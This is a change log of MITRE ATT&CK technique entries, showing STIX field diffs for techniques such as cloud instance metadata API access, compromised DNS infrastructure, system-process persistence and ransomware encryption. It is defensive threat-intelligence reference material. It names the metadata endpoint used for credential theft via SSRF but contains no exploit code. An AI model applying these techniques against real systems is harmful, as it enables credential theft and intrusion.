| API 2018) The de facto standard across cloud service provi | | 018) The de facto standard across cloud service providers i |
| ders is to host the Instance Metadata API at <code>http[:]// | | s to host the Instance Metadata API at <code>http[:]//169.25 |
| 169.254.169.254</code>. | | 4.169.254</code>. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-31 19:41:06.948000+00:00 | 2022-03-08 21:37:23.589000+00:00 |
| description | Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.
| Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.
|
| x_mitre_version | 1.2 | 1.3 |
[T1059] Command and Scripting Interpreter
Current version: 2.3
Version changed from: 2.2 → 2.3
New Detections:
- DS0009: Process (Process Metadata)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 21:03:21.700000+00:00 | 2022-04-19 18:31:48.827000+00:00 |
| external_references[1]['source_name'] | Powershell Remote Commands | Remote Shell Execution in Python |
| external_references[1]['description'] | Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021. | Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1 | https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python |
| external_references[3]['source_name'] | Remote Shell Execution in Python | Powershell Remote Commands |
| external_references[3]['description'] | Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021. | Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021. |
| external_references[3]['url'] | https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python | https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1 |
| x_mitre_data_sources[0] | Command: Command Execution | Module: Module Load |
| x_mitre_data_sources[1] | Process: Process Creation | Process: Process Metadata |
| x_mitre_data_sources[2] | Module: Module Load | Script: Script Execution |
| x_mitre_data_sources[3] | Script: Script Execution | Command: Command Execution |
| x_mitre_version | 2.2 | 2.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Process: Process Creation |
[T1542.002] Pre-OS Boot: Component Firmware
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-23 23:48:33.904000+00:00 | 2022-04-01 20:43:55.632000+00:00 |
| x_mitre_data_sources[1] | Firmware: Firmware Modification | Process: OS API Execution |
| x_mitre_data_sources[2] | Process: OS API Execution | Firmware: Firmware Modification |
| x_mitre_detection | Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.
Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images. | Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.
Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Linux |
| x_mitre_platforms | | macOS |
[T1584] Compromise Infrastructure
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may compromise third-party infrastructure that c | t | Adversaries may compromise third-party infrastructure that c |
| an be used during targeting. Infrastructure solutions includ | | an be used during targeting. Infrastructure solutions includ |
| e physical or cloud servers, domains, and third-party web se | | e physical or cloud servers, domains, and third-party web an |
| rvices. Instead of buying, leasing, or renting infrastructur | | d DNS services. Instead of buying, leasing, or renting infra |
| e an adversary may compromise infrastructure and use it duri | | structure an adversary may compromise infrastructure and use |
| ng other phases of the adversary lifecycle.(Citation: Mandia | | it during other phases of the adversary lifecycle.(Citation |
| nt APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos | | : Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citatio |
| DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) | | n: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens |
| Additionally, adversaries may compromise numerous machines t | | Part 2) Additionally, adversaries may compromise numerous ma |
| o form a botnet they can leverage. Use of compromised infra | | chines to form a botnet they can leverage. Use of compromis |
| structure allows an adversary to stage, launch, and execute | | ed infrastructure allows an adversary to stage, launch, and |
| an operation. Compromised infrastructure can help adversary | | execute an operation. Compromised infrastructure can help ad |
| operations blend in with traffic that is seen as normal, suc | | versary operations blend in with traffic that is seen as nor |
| h as contact with high reputation or trusted sites. By using | | mal, such as contact with high reputation or trusted sites. |
| compromised infrastructure, adversaries may make it difficu | | For example, adversaries may leverage compromised infrastruc |
| lt to tie their actions back to them. Prior to targeting, ad | | ture (potentially also in conjunction with [Digital Certific |
| versaries may compromise the infrastructure of other adversa | | ates](https://attack.mitre.org/techniques/T1588/004)) to fur |
| ries.(Citation: NSA NCSC Turla OilRig) | | ther blend in and support staged information gathering and/o |
| | | r [Phishing](https://attack.mitre.org/techniques/T1566) camp |
| | | aigns.(Citation: FireEye DNS Hijack 2019) By using comprom |
| | | ised infrastructure, adversaries may make it difficult to ti |
| | | e their actions back to them. Prior to targeting, adversarie |
| | | s may compromise the infrastructure of other adversaries.(Ci |
| | | tation: NSA NCSC Turla OilRig) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Jeremy Galloway'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 16:01:48.871000+00:00 | 2022-04-20 14:26:33.716000+00:00 |
| description | Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.
Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) | Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.
Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019)
By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) |
| external_references[1]['source_name'] | Mandiant APT1 | FireEye DNS Hijack 2019 |
| external_references[1]['description'] | Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. | Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020. |
| external_references[1]['url'] | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf | https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html |
| external_references[3]['source_name'] | Talos DNSpionage Nov 2018 | Koczwara Beacon Hunting Sep 2021 |
| external_references[3]['description'] | Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. | Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. |
| external_references[3]['url'] | https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html | https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 |
| external_references[4]['source_name'] | FireEye EPS Awakens Part 2 | Mandiant APT1 |
| external_references[4]['description'] | Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016. | Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
| external_references[5]['source_name'] | NSA NCSC Turla OilRig | Talos DNSpionage Nov 2018 |
| external_references[5]['description'] | NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020. | Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. |
| external_references[5]['url'] | https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf | https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html |
| external_references[6]['source_name'] | ThreatConnect Infrastructure Dec 2020 | NSA NCSC Turla OilRig |
| external_references[6]['description'] | ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021. | NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020. |
| external_references[6]['url'] | https://threatconnect.com/blog/infrastructure-research-hunting/ | https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf |
| external_references[8]['source_name'] | Koczwara Beacon Hunting Sep 2021 | ThreatConnect Infrastructure Dec 2020 |
| external_references[8]['description'] | Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. | ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021. |
| external_references[8]['url'] | https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 | https://threatconnect.com/blog/infrastructure-research-hunting/ |
| x_mitre_data_sources[0] | Internet Scan: Response Metadata | Domain Name: Domain Registration |
| x_mitre_data_sources[1] | Internet Scan: Response Content | Domain Name: Passive DNS |
| x_mitre_data_sources[3] | Domain Name: Passive DNS | Internet Scan: Response Content |
| x_mitre_data_sources[4] | Domain Name: Domain Registration | Internet Scan: Response Metadata |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'FireEye EPS Awakens Part 2', 'description': 'Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html'} |
[T1552.007] Unsecured Credentials: Container API
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
- M1018: User Account Management
Dropped Detections:
- DS0022: File (File Access)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 18:20:31.636000+00:00 | 2022-04-01 13:11:10.849000+00:00 |
| x_mitre_data_sources[1] | File: File Access | User Account: User Account Authentication |
| x_mitre_data_sources[2] | User Account: User Account Authentication | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
[T1609] Container Administration Command
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
- M1018: User Account Management
New Detections:
- DS0009: Process (Process Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-14 12:01:10.545000+00:00 | 2022-04-01 13:16:14.786000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Process: Process Creation |
[T1053.007] Scheduled Task/Job: Container Orchestration Job
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-07-27 17:38:17.146000+00:00 | 2022-04-01 13:06:58.794000+00:00 |
| x_mitre_data_sources[0] | Scheduled Job: Scheduled Job Creation | File: File Creation |
| x_mitre_data_sources[2] | File: File Creation | Scheduled Job: Scheduled Job Creation |
| x_mitre_version | 1.1 | 1.2 |
[T1543] Create or Modify System Process
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may create or modify system-level processes to r | t | Adversaries may create or modify system-level processes to r |
| epeatedly execute malicious payloads as part of persistence. | | epeatedly execute malicious payloads as part of persistence. |
| When operating systems boot up, they can start processes th | | When operating systems boot up, they can start processes th |
| at perform background system functions. On Windows and Linux | | at perform background system functions. On Windows and Linux |
| , these system processes are referred to as services. (Citat | | , these system processes are referred to as services.(Citati |
| ion: TechNet Services) On macOS, launchd processes known as | | on: TechNet Services) On macOS, launchd processes known as [ |
| [Launch Daemon](https://attack.mitre.org/techniques/T1543/00 | | Launch Daemon](https://attack.mitre.org/techniques/T1543/004 |
| 4) and [Launch Agent](https://attack.mitre.org/techniques/T1 | | ) and [Launch Agent](https://attack.mitre.org/techniques/T15 |
| 543/001) are run to finish system initialization and load us | | 43/001) are run to finish system initialization and load use |
| er specific parameters.(Citation: AppleDocs Launch Agent Dae | | r specific parameters.(Citation: AppleDocs Launch Agent Daem |
| mons) Adversaries may install new services, daemons, or ag | | ons) Adversaries may install new services, daemons, or age |
| ents that can be configured to execute at startup or a repea | | nts that can be configured to execute at startup or a repeat |
| table interval in order to establish persistence. Similarly, | | able interval in order to establish persistence. Similarly, |
| adversaries may modify existing services, daemons, or agent | | adversaries may modify existing services, daemons, or agents |
| s to achieve the same effect. Services, daemons, or agent | | to achieve the same effect. Services, daemons, or agents |
| s may be created with administrator privileges but executed | | may be created with administrator privileges but executed u |
| under root/SYSTEM privileges. Adversaries may leverage this | | nder root/SYSTEM privileges. Adversaries may leverage this f |
| functionality to create or modify system processes in order | | unctionality to create or modify system processes in order t |
| to escalate privileges. (Citation: OSX Malware Detection). | | o escalate privileges.(Citation: OSX Malware Detection) |
New Mitigations:
- M1028: Operating System Configuration
- M1040: Behavior Prevention on Endpoint
- M1045: Code Signing
New Detections:
- DS0027: Driver (Driver Load)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-11-03 20:11:52.175000+00:00 | 2022-04-20 16:52:58.415000+00:00 |
| description | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)
Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.
Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)
Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.
Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) |
| external_references[1]['source_name'] | TechNet Services | AppleDocs Launch Agent Daemons |
| external_references[1]['description'] | Microsoft. (n.d.). Services. Retrieved June 7, 2016. | Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/library/cc772408.aspx | https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html |
| external_references[2]['source_name'] | AppleDocs Launch Agent Daemons | TechNet Services |
| external_references[2]['description'] | Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. | Microsoft. (n.d.). Services. Retrieved June 7, 2016. |
| external_references[2]['url'] | https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html | https://technet.microsoft.com/en-us/library/cc772408.aspx |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_data_sources[4] | Command: Command Execution | File: File Creation |
| x_mitre_data_sources[5] | Windows Registry: Windows Registry Key Creation | Driver: Driver Load |
| x_mitre_data_sources[3] | Process: OS API Execution | Command: Command Execution |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources | | Process: OS API Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Creation | |
[T1584.002] Compromise Infrastructure: DNS Server
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may compromise third-party DNS servers that can | t | Adversaries may compromise third-party DNS servers that can |
| be used during targeting. During post-compromise activity, a | | be used during targeting. During post-compromise activity, a |
| dversaries may utilize DNS traffic for various tasks, includ | | dversaries may utilize DNS traffic for various tasks, includ |
| ing for Command and Control (ex: [Application Layer Protocol | | ing for Command and Control (ex: [Application Layer Protocol |
| ](https://attack.mitre.org/techniques/T1071)). Instead of se | | ](https://attack.mitre.org/techniques/T1071)). Instead of se |
| tting up their own DNS servers, adversaries may compromise t | | tting up their own DNS servers, adversaries may compromise t |
| hird-party DNS servers in support of operations. By comprom | | hird-party DNS servers in support of operations. By comprom |
| ising DNS servers, adversaries can alter DNS records. Such c | | ising DNS servers, adversaries can alter DNS records. Such c |
| ontrol can allow for redirection of an organization's traffi | | ontrol can allow for redirection of an organization's traffi |
| c, facilitating Collection and Credential Access efforts for | | c, facilitating Collection and Credential Access efforts for |
| the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio |
| n: FireEye DNS Hijack 2019) Adversaries may also be able to | | n: FireEye DNS Hijack 2019) Additionally, adversaries may l |
| silently create subdomains pointed at malicious servers with | | everage such control in conjunction with [Digital Certificat |
| out tipping off the actual owner of the DNS server.(Citation | | es](https://attack.mitre.org/techniques/T1588/004) to redire |
| : CiscoAngler)(Citation: Proofpoint Domain Shadowing) | | ct traffic to adversary-controlled infrastructure, mimicking |
| | | normal trusted network communications.(Citation: FireEye DN |
| | | S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Advers |
| | | aries may also be able to silently create subdomains pointed |
| | | at malicious servers without tipping off the actual owner o |
| | | f the DNS server.(Citation: CiscoAngler)(Citation: Proofpoin |
| | | t Domain Shadowing) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Jeremy Galloway'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 15:56:05.112000+00:00 | 2022-04-19 21:22:13.578000+00:00 |
| description | Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.
By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) | Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.
By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) |
| external_references[1]['source_name'] | Talos DNSpionage Nov 2018 | FireEye DNS Hijack 2019 |
| external_references[1]['description'] | Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. | Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020. |
| external_references[1]['url'] | https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html | https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html |
| external_references[2]['source_name'] | FireEye DNS Hijack 2019 | Crowdstrike DNS Hijack 2019 |
| external_references[2]['description'] | Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020. | Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html | https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/ |
| external_references[3]['source_name'] | CiscoAngler | Talos DNSpionage Nov 2018 |
| external_references[3]['description'] | Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017. | Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. |
| external_references[3]['url'] | https://blogs.cisco.com/security/talos/angler-domain-shadowing | https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html |
| external_references[4]['source_name'] | Proofpoint Domain Shadowing | CiscoAngler |
| external_references[4]['description'] | Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020. | Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017. |
| external_references[4]['url'] | https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows | https://blogs.cisco.com/security/talos/angler-domain-shadowing |
| x_mitre_data_sources[0] | Domain Name: Active DNS | Domain Name: Passive DNS |
| x_mitre_data_sources[1] | Domain Name: Passive DNS | Domain Name: Active DNS |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Proofpoint Domain Shadowing', 'description': 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows'} |
[T1486] Data Encrypted for Impact
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may encrypt data on target systems or on large n | t | Adversaries may encrypt data on target systems or on large n |
| umbers of systems in a network to interrupt availability to | | umbers of systems in a network to interrupt availability to |
| system and network resources. They can attempt to render sto | | system and network resources. They can attempt to render sto |
| red data inaccessible by encrypting files or data on local a | | red data inaccessible by encrypting files or data on local a |
| nd remote drives and withholding access to a decryption key. | | nd remote drives and withholding access to a decryption key. |
| This may be done in order to extract monetary compensation | | This may be done in order to extract monetary compensation |
| from a victim in exchange for decryption or a decryption key | | from a victim in exchange for decryption or a decryption key |
| (ransomware) or to render data permanently inaccessible in | | (ransomware) or to render data permanently inaccessible in |
| cases where the key is not saved or transmitted.(Citation: U | | cases where the key is not saved or transmitted.(Citation: U |
| S-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Cit | | S-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Cit |
| ation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) | | ation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) |
